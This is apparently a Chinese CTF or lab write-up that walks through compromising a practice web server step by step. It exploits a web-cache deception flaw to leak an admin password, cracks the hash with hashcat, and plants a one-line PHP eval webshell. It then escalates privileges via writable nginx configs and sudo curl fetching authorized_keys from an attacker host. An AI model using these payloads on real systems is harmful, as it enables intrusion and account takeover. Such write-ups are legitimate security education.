主机发现后先扫一下端口

image-20250421151733412

只有一个80端口,接着扫目录

image-20250421145923938

发现有.git,直接githack下来

image-20250421150127938

会发现有一个swp状态的文件

image-20250421150139857

vim -r .test.php.swp恢复一下,然后复制保存,把所有clone下来的东西拖到vscode里开始审计

先来看看nginx和apache,因为一般会起两个服务并且题目只提供一个端口应该是有前后关系

image-20250421150317782

nginx.conf里可以看到用户为www-data,启用了proxy_cache,也就是会把访问的内容缓存。但缓存了什么以及如何触发缓存还不知,继续往下看

image-20250421150334609

引用了ctf.conf

image-20250421150417638

可以看到80端口做了哪些路由。访问index.php和一些静态文件后缀的路径都会被跳到127.0.0.1:8080,并且配置文件里没有提到是nginx起的php-fpm,再结合有个apache,因此推测内部拓补大概就长这样

image-20250421150439998

并且可以发现,nginx会将你访问的静态文件缓存下来,这样这里的nginx就起到了一个类似CDN的作用。那么接下来就开始审php

在index.php可以归结出3种路由

第一种是visit

image-20250421150454135

可以看到这个路径主要作用是去访问test.php,这个放到一会儿再看。

第二种是login,这个没什么好说,就是判断是否正确登陆,成功后跳转到一个叫sh3ll.php的地方

第三种是其他路径,也就是除了上面两种路径以外的路径。不过这里面又分了两种小路由,并且想要触发这两个路由都需要在通过验证的情况下才可以进入

image-20250421150505012

一种是路径中带profile字样,就给你放回你当前来访问这个路由的用户的账号信息,包括密码

image-20250421150516991

image-20250421150527690

第二种是直接去访问路径里的其他文件

image-20250421150543489

接下来看一下test.php。日志的文件名被写死,基本不可能利用写入恶意代码的方式。

image-20250421150607485

接下去是调用bot_runner函数,这个函数在调用上面的login_and_get_cookie函数去获取admin的cookie后,允许你携带管理员的cookie去访问你给的uri。

我们可以发现,虽然bot_runner函数会帮我们访问没错,但是并不会携带访问结果,也就是你看不到respones,所以要想办法把结果带出来。这个时候就要用到nginx里的缓存功能,设想一下,如果我们能将respones保存在一个静态文件里,不就可以看了吗?

所以我们可以构造这样一个payload

uri=profile/1.css

可以设想一下,当管理员访问了profile后,php会返回密码,而nginx则会认为profile/1是一个css文件的文件名从而将页面内容缓存下来,这样只要我们访问profile/1.css就能得到结果

image-20250421150840311

拿到密码后发现直接用这串密码是sha256加密过的,需要爆破

把密码存进hash文件里,直接上rockyou

hashcat -m 1400 -a 0 hash rockyou.txt

得到明文starbucks

登陆后看到可以执行命令

image-20250421151119852

直接写一句马上蚁剑

echo -n '<?php eval($_POST[1]);?>' > 1.php

image-20250421151319591

在/var/www看到一个文件pass

image-20250421151344333

翻译过来就是用户密码就是前面我们拿到的那个登录密码,尝试直接su会发现没有权限,所以应该是有别的方法。在/opt/hello下发现一个readme

image-20250421152001818

翻译过来就是nginx会随着机器的重启而重启,下面附了一个建议,建议我们先在本地测试好nginx配置以免因配置错误导致服务崩溃

并在home下发现用户名

image-20250421153118741

先看一下sudo -l,发现可以reboot

image-20250421152139707

并且发现ssh服务,但是监听的是127,所以要想办法把这个端口映射出去

那就到nginx配置目录下看看

image-20250421152214030

发现权限是777,那就说明可以随便改,并且在modules下发现有stream模块(这是一个用来分流tcp和udp的模块),就可以写一个stream块,对22进行反向代理

image-20250421152613007

并且记得将这句注释,否则会因为http块占用80端口导致冲突

image-20250421152851830

写完后reboot,等待nginx配置生效。然后再对80端口进行ssh即可

image-20250421152923439

image-20250421153330645

发现curl有sudo权限,尝试是否能访问外部ip后发现能直接访问,那就在kali起一个http服务后直接写authorized_keys

image-20250421153809234